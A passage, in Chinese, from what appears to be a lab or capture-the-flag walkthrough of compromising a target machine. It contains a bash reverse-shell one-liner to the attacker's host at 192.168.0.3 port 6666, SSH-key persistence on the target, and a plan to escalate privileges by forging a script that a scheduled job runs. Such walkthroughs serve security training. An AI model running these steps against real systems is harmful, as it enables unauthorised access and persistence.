然后在键盘上按住ctrl+r,
接着再按住ctrl+x;
现在就可以输入命令了;
完成了提权;
因为看着不方便,所以可以用bash重新反弹个通道;
echo "bash -i >& /dev/tcp/192.168.0.3/6666 0>&1" | bash
还可以用高端一点的方法,ssh免密登录。
ssh免密登录
kali下生成自己的公钥,口令为空;
靶机上创建 .ssh文件夹;
靶机上把kali的公钥放到认证文件里;
ssh免密登录;
接下来进行下一步提权。
七、进程提权 1、修改源文件提权
sudo因为没有密码,所以无法查看,suid没发现明显的线索,之前sudo -l和suid两种提权方式都试过了,这里应该考察其他方式了;
也没有考到计划任务提权;
运行下脚本pspy64试试;
发现线索,uid=1003 就是pedro用户;
既然Reporting_System_Info.sh定期运行,于是想到如果能修改该程序的内容,那就可以获得shell。
图中后面的+号表示 Linux ACL访问控制权限,类似于 Windows 系统中分配权限的方式,单独指定用户并单独分配权限,这样就解决了用户身份不足的问题。
可以看到我们不能直接修改Reporting_System_Info.sh,但是根据源码,程序要运行Send_Reporting_Email.sh,我们可以伪造/home/maria/Send_Reporting_Email.sh这个文件,也同样会执行;